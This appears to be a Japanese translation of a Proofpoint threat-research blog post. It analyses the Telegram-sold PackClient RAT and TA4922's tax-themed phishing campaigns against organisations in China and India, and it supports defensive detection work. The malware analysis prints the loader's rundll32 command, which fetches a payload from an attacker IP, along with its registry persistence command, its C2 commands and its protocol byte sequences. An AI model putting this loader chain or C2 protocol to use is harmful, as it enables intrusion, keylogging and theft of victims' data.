主な調査結果
- プルーフポイントは、Telegram上で販売されているPackClientと呼ばれるコマンド&コントロール(C2)フレームワークを特定しました。
- このフレームワークは、少なくとも1つの脅威アクター、中国語話者のTA4922によって使用されています。
- この新しいペイロードによって、TA4922は初期アクセス型マルウェアの武器庫を拡大しており、その多くは中国語圏のサイバー犯罪エコシステムに由来しています。
概要
プルーフポイントのリサーチャーは最近、私たちがPackClientと名付けたRATフレームワークを発見しました。PackClientは、少なくとも1つの脅威アクター、中国語話者の TA4922によって使用されており、Telegram上で活発に販売されているとみられます。PackClientは、データ窃取、監視、および追加のプラグインやペイロードのダウンロードをサポートする、フル機能かつモジュール型のコマンド&コントロール(C2)フレームワークです。
キャンペーンの詳細
2026年5月下旬、プルーフポイントのリサーチャーは、中国本土で事業を展開する組織を標的とし、PackClientフレームワークの一部と特定されるペイロードを配信する、TA4922によるものとされるキャンペーンを特定しました。このキャンペーンは税務をテーマとしたルアーを使用し、山東省税務局になりすまして、コンプライアンスに関する文言で受信者に行動を迫るものでした。

図1:税務調査通知のルアーを使用し、山東省税務局になりすましたTA4922のフィッシングメール

件名は「長年にわたる売買契約および賃貸借契約における企業の印紙税未納に関する期限内自主点検の通知」と翻訳され、これは当該組織が2026年の税務調査の対象に選定されたというメール本文の主張と一致しています。このルアーは受信者に対し、リンクをクリックして書類を確認し、必要な情報を提出するよう指示するとともに、コンプライアンス違反に対する罰則を警告しています。メールには中国の国家税務総局に言及する連絡先情報と、書類をホストしていると称するURLが含まれていました。
埋め込まれたURLをクリックすると、被害者はアクターが管理するドメインgov12366[.]comからZIPアーカイブ「数据资料.zip」をダウンロードするよう誘導されました。このアーカイブには実行ファイル(「资料数据[.]exe」)が含まれており、これがPackClientのインストールを開始しました。
2026年5月のキャンペーンでPackClientを最初に特定して以降、プルーフポイントのリサーチャーは、このマルウェアを配信するTA4922のキャンペーンを少なくともさらに2件観測しています。2026年7月中旬、このアクターはインド所得税局になりすましたヒンディー語の税務執行ルアーを使用して、インドの組織を標的としました。これらのメールは、受信者が所得を過少申告し、海外資産の開示を怠ったと主張し、金銭的な罰則を科すと脅迫していました。それ以前の中国を対象とした活動とは異なり、これらのメッセージはIMGディスクイメージ(「Tax_Notice_23665.img 」)を含むZIPアーカイブ(「Tax_Notice_23665.zip」)を配信していました。マウントすると、このイメージには実行ファイルと悪意のあるDLLが含まれており、DLLサイドローディングを利用してDonut Loaderを実行し、最終的にPackClientをインストールしました。侵害後の通信は、IPアドレス64[.]81[.]30[.]99のインフラストラクチャとの間で観測されました。

図2:インド政府所得税局になりすましたTA4922のフィッシングメール
TA4922は、2026年7月20日から22日にかけて観測された後続のキャンペーンでも同じ感染チェーンを使用し続けました。これらのメールもインドの税務当局になりすまし、税金徴収や罰則をテーマとしたルアーを使用していました。受信者は、ZIPアーカイブ(「 ITDTAX202601987.zip」)に含まれる添付の税務書類を確認するよう指示されており、このアーカイブにも再びIMGファイル(「Tax_Notice_23709.img」)が含まれていました。リサーチャーは、TCPポート6666経由でIPアドレス192[.]252[.]180[.]45とのC2通信を観測しました。この脅威アクターはその後、初期感染から数時間後にManageEngineのリモート監視・管理(RMM)ソフトウェアを展開しており、侵害後の追加ツールの使用を示しています。プルーフポイントは、 Deception Pro マルウェア可観測性環境を使用して、この活動を観測することができました。

図3:インド所得税局になりすまし、税金徴収および罰則通知のルアーを使用したTA4922のフィッシングメール
後述するとおり、PackClientは中国語のTelegramチャネルを通じて販売されていると疑われることから、今後のキャンペーンでは他の中国語話者の脅威アクターもこのマルウェアを採用する可能性が高いと考えられます。
マルウェア解析
PackClientは、フル機能のリモートアクセス型トロイの木馬(RAT)およびC2フレームワークであり、PackClientを宣伝しているとみられる以下のTelegram投稿のスクリーンショットが示すとおり、Telegram上で宣伝されています。この投稿はマルウェアの名称を明示していないものの、「PackClientCore」への言及があり、宣伝文の記述はPackClientの機能と重複しています。

図4:2026年3月のPackClientと疑われるTelegram投稿
このテキストのGoogle翻訳は以下のとおりです。

図5:Telegram投稿テキストの日本語機械翻訳
PackClientは、第1段階のローダー実行ファイル、第2段階のローダー(「PackClientLauncher」)DLLモジュール、コアモジュール(「PackClientCore」)、およびオペレーターのコマンドに応じてダウンロード可能な複数のオプションプラグインで構成されています。プルーフポイントが解析した初期のサンプルでは、このマルウェアは生のTCPソケット経由でハードコードされた2つのC2エンドポイントに接続し、コアRAT DLLをダウンロードしてリフレクティブに実行し、コマンドを受信し、追加のプラグインやペイロードをダウンロードします。
ステージ1:初期ダウンローダー
PackClientは、チェーンの次の段階をダウンロードし、ホスト上に永続化を設定する小さな初期実行ファイルから始まります。以下の動作を実行します。
- プロセスが昇格した権限で実行されているかどうかを確認します
- DLL(場合によっては「xMain.dll」)をディスクに書き出し、以下のコマンドラインを使用して実行します(例):
rundll32[.]exe "C:\Users\<user>\AppData\Local\Temp\xMain.dll",XMain hxxp://154.36.188[.]98:8080/Sz9110.bin 206.238.196[.]96 6666
このコマンドラインコマンドは、rundll32[.]exeを呼び出して、書き出されたxMain.dllモジュール(エクスポート関数「XMain」を使用)を実行し、さらに以下のパラメーターを含んでいます。1.)次の段階のペイロードをダウンロードするためのURL、2.)感染チェーンの後続の段階に渡されるプライマリC2とポートです。
- C2から暗号化されたペイロード(場合によっては「svchost.dat」)をダウンロードします。このペイロードはLauncherモジュールです(ステージ2で説明します)
- ステージ2のペイロードをXOR復号します
- 復号したPEファイルを %TEMP%\svchost[.]exe に書き込みます(ただし、このパスとファイル名はサンプルによって変わる可能性があります)
- レジストリの自動実行による永続化を設定します: reg add HKCU\...\RunOnce /v RuntimeBroker /t REG_SZ /d "%TEMP%\svchost[.]exe"
- CreateProcessW経由でペイロード %TEMP%\svchost[.]exe を起動します
ロードされるペイロードはPackClientLauncherモジュールです。
ステージ2:PackClientLauncherモジュール
PackClientLauncherモジュールという名称は、モジュールのPDBパス Project\Bin\Launcher\Win32\PackClientLauncher.pdb に見られる実際のモジュール名です。

図6:PackClientLauncherモジュールのPDBおよびその他のメタデータ
PackClientLauncherはPackClientコアモジュールのローダーとして使用され、以下の手順を実行します。
- プログラムエラーが発生した場合にプロセスダンプ(ミニダンプ)を実行する例外ハンドラーを設定します。これはオペレーターがプロセスのクラッシュをリモートでデバッグできるようにするためと考えられますが、テスト用の機能である可能性もあり、将来のマルウェアのサンプルでは無効化される可能性があります。
- 自身のコマンドラインパラメーター(ステージ1で説明)を調べて、プライマリC2とポートを取得します。
- プライマリC2にチェックインし、ステージ3のペイロード(コアモジュール)をダウンロードします。その後、このPEファイルをメモリ内にリフレクティブにロードします。
- RATコアモジュールを呼び出し、設定をコアモジュールに渡します。これは以下のいずれかの方法で行われます。
- コマンドラインパラメーター経由で設定構造体(ホスト、ポート、グループ、備考)を渡す
- レジストリから設定を読み取る
- コアモジュールDLLから直接設定を解析する。設定はPEの.rdataセクション内のPACKLKH1とPACKLKH2のアンカーの間に存在します。

図7:コアモジュールDLLにハードコードされたマルウェアの設定
- プロセスを監視モードに設定する別個のガードプロセス(–guardコマンドラインパラメーター付き)を生成します。この新しいプロセスはPackClientのメインコアプロセスを「監視」します。PackClientが終了させられた場合、このプロセスがプロセスを再起動します。
PackClientのプロセスツリーは特徴的であり、脅威ハンティングやインシデントレスポンスに使用できる優れた感染の指標となります。

図8:PackClientのプロセスツリー
ツリー内の1番目と2番目のプロセスはステージ1のローダーであり、PackClientのLauncherとコアモジュールをメモリにロードします。–guardパラメーターを伴うsvchost[.]exeプロセスは、前述のガーディアンプロセスです。
ステージ3:PackClientCoreモジュール
最後にコアモジュールがロードされます。これは内部的に「PackClientCore」と呼ばれています。コアモジュールの主な機能は以下のとおりです。
- モジュール型のプラグインシステム。追加のプラグインを動的にダウンロードして実行することが可能です(詳細は次のセクションで説明します)
- 2つのC2サーバー接続(「S1」および「S2」)の同時サポート。それぞれ独立した設定を持ちます
- C2サーバーから60を超えるコマンドを受け付け、ファイルシステム管理、監視とデータ窃取、ペイロードとプラグインのインストール、リモート設定とコア/モジュールの更新など、さまざまな動作をサポートします。
- 実行中のプロセスを列挙し、セキュリティ製品(AVおよびEDRソフトウェア)、メッセージングアプリ(Telegram、WeChatなど)、ブラウザなどのプロセスを報告します。これは、感染したシステムが有効な標的であるかどうかを判断し、RATクライアントにどの後続プラグインを配信するかを決定するために使用されると考えられます
- キーロガーおよびクリッパー機能
- レジストリベースの永続化と設定の保存
さらにPackClientは、感染したシステム上で動作しているTelegram Desktopアプリケーションに特別な関心を示しているようです。Telegram Desktopのプロセスが実行中であることが検出されると、クライアントはこの情報をC2に報告します。コード解析に基づくと、C2はローカルのTelegram設定ファイルにデータを書き込む特別なTelegramプラグインを配信する可能性があると考えられます。これはカスタムのプロキシ設定である可能性があり、マルウェアのオペレーターがホストとの間のTelegram通信を傍受し、中間者攻撃を行うことを可能にします。
PackClientの設定
コアモジュールは、以下の場所のレジストリに設定を書き込みます。
HKEY_CURRENT_USER\SOFTWARE\PackClientConsole\<unique_value>\<config_value>.
例:
HKEY_CURRENT_USER\SOFTWARE\PackClientConsole\455b4698cc2d878a\s1_host
設定は以下のように定義されています。
|
設定値(例) |
説明 |
|
s1_host |
S1ホスト。プライマリC2のサーバーアドレスです。 |
|
s1_port |
プライマリC2が使用するTCPポートです。 |
|
s1_group |
プライマリC2に割り当てられた「group」の値です。ボットIDまたはキャンペーン識別子として使用されるとみられます。 |
|
s1_remark |
プライマリC2に割り当てられた「remark」の値です。ボットIDまたはキャンペーン識別子として使用されるとみられます。 |
|
s2_host |
S2ホスト。セカンダリC2のサーバーアドレスです。 |
|
s2_port |
セカンダリC2が使用するTCPポートです。 |
|
s2_group |
s1_groupを参照してください。 |
|
s2_remark |
s1_remarkを参照してください。 |
|
group |
デフォルトのgroup値 |
|
remark |
デフォルトのremark値 |
|
mark_color |
(おそらく)サーバー側の管理コンソール上でこの感染システムを視覚的にラベル付け/分類するために、C2オペレーターが割り当てるカラータグです。 |
|
device_uuid |
感染したマシンの永続的な一意の識別子です。 |
|
first_install_at |
RATがマシンに最初にインストールされた日時を記録します。 |
|
offline_ktl_enabled |
(おそらく)クライアントがC2サーバーに接続していない間もキーロガーがキー入力の記録を続けるかどうかを制御します。 |
サポートされるC2コマンド
PackClientのコアモジュールは、C2から多数のコマンドを受け付けます。そのうちのいくつかを以下に定義します。これは60を超えるサポート対象コマンドを抜粋したリストです。
|
C2コマンド(コアモジュール内での表記) |
説明 |
|
S1CFG|SET| |
プライマリC2(S1)エンドポイント(ホスト+ポート)を再設定し、レジストリに永続化します |
|
S2CFG|SET| |
セカンダリC2(S2)エンドポイント(ホスト+ポート)を再設定し、レジストリに永続化します |
|
CTL|X |
クライアントに制御を発行します。Xには「DISCONNECT」(RATをサーバーから切断する)、「RESTART」(RATクライアントを再起動する)、「UNINSTALL」(RATをクライアントからアンインストールする)などの制御コードが入ります。 |
|
CMD|RUN|<command> |
シェルコマンドを実行します(cmd[.]exe+CreateProcessW) |
|
SCR |
画面キャプチャを開始します(静的なスクリーンショット、またはリモートデスクトップのようなチャネルのいずれか) |
|
PXY |
プロキシ/SOCKSトンネルを開始します |
|
WEBCAM |
Webカメラ(リモートビデオ)のキャプチャを開始します |
|
Q|FILE |
ファイル/ディレクトリの一覧表示、ファイルのダウンロード、ファイルのアップロードなど、ファイル関連のコマンドを実行します。 |
|
Q|PROC|LIST |
実行中のプロセスを一覧表示します |
|
Q|PLUGIN |
インストール済みのプラグインをリモートで管理するために使用されるとみられます(後述します)。追加のペイロードのダウンロードにも使用されます。 |
|
KTL |
キーロガーの開始、キーロガーの停止、キーロガーデータの同期(C2への窃取)など、キーロガー関連の機能です |
|
Q|EXT|CLIENTCOREUPD |
コアモジュールを更新します |
これらの中には、以下の機能をサポートするコマンドが存在します。
- C2との接続を管理する
- 権限を昇格する
- リモートデスクトップの設定
- レジストリキーの読み書きなどのレジストリ操作
- ブラウザデータの列挙(ブラウザデータの窃取をサポートするためとみられます)
- クリッパーの管理
- 感染マシンの再起動などのシステム管理
- 実行中のプロセスとウィンドウタイトルの検索
サポートされるコマンドの解析に基づくと、PackClientはアクターの目的に応じて、情報窃取、監視/スパイウェア、より大規模なボットネットの一部となるボット、追加のマルウェアをダウンロードするローダー、偵察フレームワークなど、幅広い目的に使用される可能性があります。
ステージ4:PackClientのプラグインモジュール
前述のとおり、PackClientのコアモジュールは、オペレーターが使用する機能を追加する追加のプラグインモジュールを要求して受信することができます。これらのプラグインそれぞれについて詳細な解析は行っていませんが、コアモジュールの解析に基づくと、以下のプラグインがサポートされていると考えられます。
|
プラグイン名 |
想定されるプラグインDLL名 |
プラグインの説明 |
|
remote_screen |
PackPlugin.ScreenCore.dll |
リモートデスクトップの画面共有をサポートします。 |
|
virtual_desktop |
PackPlugin.VirtualDesktop.dll |
RDPスタイルの仮想デスクトップ機能をサポートします。 |
|
file_management |
PackPlugin.FileManager.dll |
ファイルの読み書きやファイルの実行などのタスクをサポートするファイルマネージャーです。 |
|
system_management |
PackPlugin.SystemManagement.dll |
プロセスの一覧表示、スケジュールされたタスクの作成、UACによる昇格などのシステム管理系の活動です。 |
|
registry |
不明 |
不明です。レジストリの読み書きなど、追加のレジストリ操作を処理するとみられます。 |
|
remote_terminal |
PackPlugin.RemoteTerminal.dll |
対話型のリモートシェル |
|
remote_video |
PackPlugin.RemoteVideo.dll |
Webカメラのストリーミング/キャプチャ |
|
proxy_tunnel |
PackPlugin.Proxy.dll |
SOCKS/TCPプロキシトンネリング |
|
fast_gui_screen |
PackPlugin.FastGuiScreen.dll |
不明です。仮想デスクトップを制御する別の手法である可能性があります |
|
tg_tool |
PackPlugin.TgTool.dll |
(おそらく)Telegramの傍受、監視、データ窃取のサポート |
|
browser_mgr |
PackPlugin.BrowserMgr.dll |
不明です。ブラウザデータの窃取をサポートする可能性があります。 |
C2は、以下の構造化された形式で、Base64エンコードされたバイナリデータとしてプラグインをクライアント(PackClientCore)に送信します。

図9:マルウェアクライアントに送信されるプラグインデータの構造体フォーマット
このローダーの処理では、ダウンロードしたDLLを直接メモリにコピーし、必要なインポートを解決し、DLLのメイン関数を実行します。次に、RATクライアントがC2サーバーとどのように通信するかについて説明します。
C2通信
PackClientLauncherペイロードの取得
私たちが解析したあるサンプルでは、初期のダウンローダー実行ファイルが、IPアドレス154.36.188[.]98:8080からHTTP経由で別のペイロード、すなわちPackClientLauncherモジュールを要求していました。調査時点で、このペイロードのホストは依然として稼働しており、複数の.binファイルをホストしていました。

図10:C2サーバー上のオープンディレクトリのスクリーンショット
アクターは、ペイロードのホスティングに Rejetto HTTP File Server (HFS)を使用しているとみられます。TA4922をはじめとする中国に関連するアクターは、悪意のあるペイロードのホスティングにHFSを頻繁に利用することが知られています。 ValleyRat、 ChinaZ、 BillGates などが代表的な例です。

図11:HTTP経由で別のWindows実行ファイルを要求する初期のEXEペイロード
要求される.binファイルはWindowsの実行ファイルです。binファイルをダウンロードした後、カスタムのC2プロトコルを使用して、TCP経由で206.238.196[.]96:6666との通信が速やかに確立されます。
初期のコマンド&コントロール通信
TCP接続を確立した後、クライアントはバイト列24 00 40 5aを含む4バイトのペイロードを送信し、続いてバイトシーケンス15 00 00 00 50 4c 48 31で始まる36バイトのペイロードを送信します。その後、C2サーバーは32バイトのペイロードで応答します。このペイロードの最初の2バイトは「ペイロードサイズ指示子」であり、C2メッセージのサイズ、すなわちTCPペイロードの全体サイズから4バイトを引いた値をリトルエンディアン形式で示します。たとえば、この32バイトの応答では、最初の2バイトは1c 00です。10進数に変換すると値は28です。32から4を引くと28になります。C2からの応答のほとんどには、先頭にペイロードサイズ指示子のバイトが含まれます。
その直後にはバイトシーケンス40 5a 15 00 00 00 50 4c 43 31が続きます。これはPackClientとC2サーバーの間の初期ハンドシェイクとして機能します。

図12:感染ホスト(緑色で表示)とコマンド&コントロールサーバー(赤色で表示)の間の通信確立に使用されるバイトシーケンス
PackClientCoreペイロードの取得
次に、クライアントは44バイトのメッセージを送信します。このバイトシーケンスは15 00 00 00 50 4c 41 31で始まります。その後、C2サーバーは、サイズ指示子の値3c 00(60バイト)で始まり、続いて40 5a 15 00 00 00 50 4c 4b 31が続く64バイトのメッセージで応答します。このやり取りの直後にC2が別の実行可能ペイロードを応答として返すことから、これはクライアントがC2にペイロードを要求しているものと考えられます。また、クライアントがバイト列08 00 40 5aを含む4バイトのメッセージで応答する場合があることも確認しました。これは、C2サーバーからのペイロードおよび/またはペイロードの次の部分を受け入れる準備ができていることを示す、クライアントからのシーケンス確認応答メッセージであると考えられます。

図13:PackClientCoreペイロード取得の通信
デスクトップのスクリーンショットのキャプチャ
次にクライアントは、デスクトップのサムネイルサイズのスクリーンショットをC2サーバーに送信します。これらの送信は、C2サーバーの場合と同様に2バイトのペイロードサイズ指示子で始まり、続いてバイトシーケンス40 5a 12 00 00 00 50 56 31 30が続きます。この最初のバイトシーケンスの直後に、JPEGファイルのマジック(JFIF)が確認されました。

図14:C2サーバーへのスクリーンショットの送信
ハートビート/キープアライブ
PackClientがアイドル状態、またはC2サーバーからの指示を待機している場合、クライアントは04 00 40 5a 01 00 00 00という8バイトのシーケンスを送信し、C2サーバーは04 00 40 5a 02 00 00 00で応答します。これはクライアントからのハートビート/キープアライブメッセージと、サーバーからの確認応答メッセージであると考えられます。
C2のコマンドと応答
クライアントにコマンドを送信する際、C2サーバーは2バイトのペイロードサイズ指示子の値で始まり、続いてバイトシーケンス40 5a 03 00 00 00が続くメッセージを送信します。また、メッセージが前述のバイトシーケンスで始まっている限り、C2が1つのTCPフレームで複数のコマンドを送信する場合があることも確認しています。クライアントはこれらのコマンドに対して、同じバイトシーケンス(2バイトのペイロードサイズ指示子を含む)で応答し、ほとんどの場合、その後にC2サーバーからの直前のコマンドの結果/確認応答が続きます。プルーフポイントは、C2サーバーからのこれらのコマンドと、感染したクライアントからの応答を数多く観測しています。以下にその例を示します。これらは、前述の サポートされるC2コマンド のセクションで概説したサポート対象のC2コマンドと一致しています。
|
バイトシーケンス |
クライアントまたはサーバー |
意味 |
|
TLM|U|KTL|OFFLINE|1 |
クライアント |
クライアントが、キーロガーがオフラインモードで開始されたことをC2サーバーに通知します(キーロガーのデータはC2サーバーに送信されません)。 |
|
SYS|Q|EXT|PROC_GUARD|SYNC|enabled=1 |
サーバー |
サーバーが、プロセスガーディアン機能を有効にするようクライアントに要求します。 |
|
SYS|R|EXT|PROC_GUARD|OK|enabled=1 |
クライアント |
C2サーバーへの応答であり、プロセスガーディアン機能が有効化されたことを示します。 |
|
SCR|PREVIEW|ENABLE|1 |
サーバー |
クライアント上でデスクトップのスクリーンショットのサムネイル機能を有効にします。 |
|
SCR|PREVIEW|REQ |
サーバー |
C2がクライアントにスクリーンショットのサムネイルを要求します。その結果、クライアントからJPEGのサムネイルサイズの画像を伴う「PV10」が送信されます。 |
|
INP|HELLO|uuid=[windows machine guid of infected host] |
クライアント |
クライアントからC2への「hello」/チェックインメッセージとみられます。PackClientは、感染したホストをそのマシンGUIDによって追跡しているようです。 |
C2の設定/ホスト情報
C2サーバーは、バイトシーケンス04 00 40 5a 0a 00 00 00を含む8バイトのペイロードを送信します。クライアントは、2バイトのペイロードサイズ指示子で始まり、続いてバイトシーケンス40 5a 0b 00 00 00が続くメッセージで応答します。TCPフレームの残りの部分には、オペレーティングシステムのバージョン、マシンGUID、ローカルIPアドレス、タイムスタンプ、ペイロードのアーキテクチャ、システムのアーキテクチャに加え、C2サーバーのIPアドレスまたはドメイン、C2通信用のポート、セカンダリC2サーバーのIPアドレスまたはドメイン、およびそのC2サーバーの通信用ポートといった、感染したクライアントに関するシステム情報が含まれます。
![]()
図15:C2に感染情報を送信するPackClient
結論
プルーフポイントは、中国語圏のサイバー犯罪エコシステムに由来するとみられる新興のマルウェアの特定と追跡を継続しています。TA4922はこのマルウェアをアジアの組織を標的とするために使用しましたが、同グループのこれまでの標的選定を踏まえると、このマルウェアは将来的にグローバルなキャンペーンで展開される可能性があります。さらに、PackClientはTelegramを通じて販売され広く入手可能となっていることから、他の脅威アクターも現在このマルウェアを使用している、あるいは今後のキャンペーンで使用する可能性が高いと考えられます。
特筆すべき点として、プルーフポイントは中国語圏のエコシステムに由来する新しいマルウェアを例年より高い頻度で観測し続けており、TA4922はこれらのグループに由来する少なくとも6種類のマルウェアファミリーの顧客となっています。これは、ハンティングと検知の強化によるところもあると考えられますが、コモディティマーケットプレイスに登場するマルウェアファミリーが増加していることにも起因しているとみられます。
脅威の検知とハンティングのためのアイデア
- PackClientの起動に使用される特徴的なRundll32のコマンドライン: 例:rundll32[.]exe xMain.dll,XMain http://IP:PORT/file.bin c2_ip 6666
- レジストリに保存されるPackClientの設定(HKCU\SOFTWARE\PackClientConsole\)。
- 特徴的なプロセスツリーとコマンドラインフラグ(rundll32[.]exe -> svchost[.]exe -> svchost[.]exe –guard)
- 一時ディレクトリ内で正規のWindowsユーティリティを装うマルウェア: 例:%TEMP%\svchost[.]exe
- %TEMP%\svchost[.]exe などの一時ディレクトリ内の実行ファイルを対象とする、レジストリによる永続化(HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce)
- TCPポート6666経由の異常なネットワーク通信: なお、これはマルウェアのオペレーターによって容易に変更可能です。
Emerging Threats Suricataルール
以下のEmerging Threatsのルールは、PackClientの可能性がある活動の検知に役立ちます。
|
2018752 |
ET HUNTING Generic .bin download from Dotted Quad |
|
2045860 |
ET HUNTING Rejetto HTTP File Server Response |
|
2018959 |
ET INFO PE EXE or DLL Windows file download HTTP |
|
2021076 |
ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response |
|
2069878 |
ET MALWARE PackClient CnC Checkin M1 |
|
2069879 |
ET MALWARE PackClient RAT CnC Checkin M2 |
|
2069880 |
ET MALWARE PackClient RAT CnC Checkin M2 – C2 Response |
|
2069881 |
ET MALWARE PackClient RAT Payload Request |
|
2069882 |
ET MALWARE PackClient RAT Payload Request – C2 Response |
|
2069883 |
ET MALWARE PackClient RAT Payload Data Received Acknowledgement |
|
2069884 |
ET MALWARE PackClient RAT Status Checkin Message – From Client |
|
2069885 |
ET MALWARE PackClient RAT Status Checkin Message – From Server |
|
2069886 |
ET MALWARE PackClient RAT Client Heartbeat |
|
2069887 |
ET MALWARE PackClient RAT Heartbeat Response from C2 |
|
2066888 |
ET MALWARE PackClient RAT Information Request |
|
2069889 |
ET MALWARE PackClient RAT Information Request – Client Response |
|
2069890 |
ET MALWARE PackClient RAT Desktop Screen Capture Exfiltration |
IOC
|
指標 |
説明 |
初回確認日 |
|
154.36.188[.]98:8080 |
PackClientのローダーモジュールのダウンロード |
2026年5月31日 |
|
206.238.196[.]96:6666 |
PackClientのC2とポート |
2026年3月9日 |
|
gov12366[.]com |
攻撃者が管理するドメイン |
2026年5月31日 |
|
109d5c9a9581a4ccabd092ffb67bbc3a8e98e807239cd41141fac46fd107a7b7 |
PackClientを配信するZIPアーカイブ(数据资料.zip) |
2026年5月31日 |
|
fa2ca62a47819417736d4edc59692bc920fb571d7eae468918f2fffc8920da53 |
PackClientを配信する実行ファイル(资料数据[.]exe ) |
2026年5月31日 |
|
64.81.30[.]99 |
PackClientのC2インフラストラクチャ |
2026年7月15日 |
|
192.252.180[.]45:6666 |
PackClientのC2とポート |
2026年7月20日 |
|
154.36.188[.]201 |
感染後の通信 |
2026年7月15日 |
|
192[.]229[.]87[.]219 |
ManageEngine RMMサーバー |
2026年7月20日 |
|
7108ff29916d064216aa2ece7fb395f1e3a73d12d19895bffc0bd46806cbf85a |
Tax_Notice_23665.zip ZIP添付ファイル |
2026年7月15日 |
|
38ec1f5e23f65b10ae3027beabfa0bf7f9fb686355a9e33c7e7e44e6a998e04c |
Tax_Notice_23665.img |
2026年7月15日 |
|
7295090c2cb63ebc43f932451971c41f9d015d2741e97ae3d9855f5ae87cff94 |
nvdahelperremote.dll |
2026年7月15日 |
|
da90b1219dcf1bf23e604b182b7737e188825df7205ea7b172231de66aeba293 |
ITDTAX202601987.zip ZIP添付ファイル |
2026年7月20日 |
|
832e68e12ebf62b60cfe2a7b45e5948fcc364a74c8d73c3748b267617bcfb242 |
Tax_Notice_23709.img |
2026年7月20日 |
|
83d16cd963b1926a9967e6928340f099abf983ca496639cfddd9d63e327db3d2 |
nvdahelperremote.dll |
2026年7月20日 |
|
aa8cda8a9a7835a72d1b832985c5976873d2c6e791524039b809ce4441d3f69f |
ITDTAX202601987.zip |
2026年7月22日 |
|
35712dc8aa497371ce48a36975781dfc3a120ce5c99dc209637b05751bf4e8e9 |
Tax_Notice_00481.img |
2026年7月22日 |
本ブログは英語ブログ「Carry-On Compromise: TA4922 Packs PackClient」の日本語訳です。英語原文との間で内容に齟齬がある場合には、英語原文が優先します。